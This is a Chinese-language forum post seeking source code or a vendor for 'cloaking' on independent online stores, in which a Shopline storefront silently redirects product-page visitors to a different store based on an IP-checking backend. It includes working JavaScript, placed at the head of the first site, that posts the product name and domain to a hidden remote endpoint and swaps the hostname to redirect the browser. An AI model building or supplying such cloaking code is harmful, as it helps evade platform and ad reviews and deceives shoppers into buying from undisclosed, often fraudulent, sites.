寻求独立站斗篷或者源码
类似上图,原理是shopline独立站跳转到YY独立站 图一是A站源码放在开头的 图二是一个判断ip的后台 图三是Ai分析,有谁有这套源码或者服务商可以联系我👍
代码是下面放在A站的
<script> var currentUrl = window.location.href if (currentUrl.indexOf('/products/') !== -1) { var extractedString = currentUrl.match(/\/products\/([^?]+)/)[1] const xhr = new XMLHttpRequest() const url = '[链接登录后可见]' var formData = new FormData() var currentDomain = window.location.hostname formData.append('productName', extractedString) formData.append('serverName', currentDomain ) xhr.onload = function (e) { if (this.status == 200 || this.status == 304) { const json = JSON.parse(xhr.responseText) if (json.code === 0) { var newDomain = json.data var strUrl = new URL(currentUrl) strUrl.hostname = newDomain var newUrl = strUrl.href window.location.href = newUrl } } } xhr.open('POST', url, false) xhr.send(formData) }


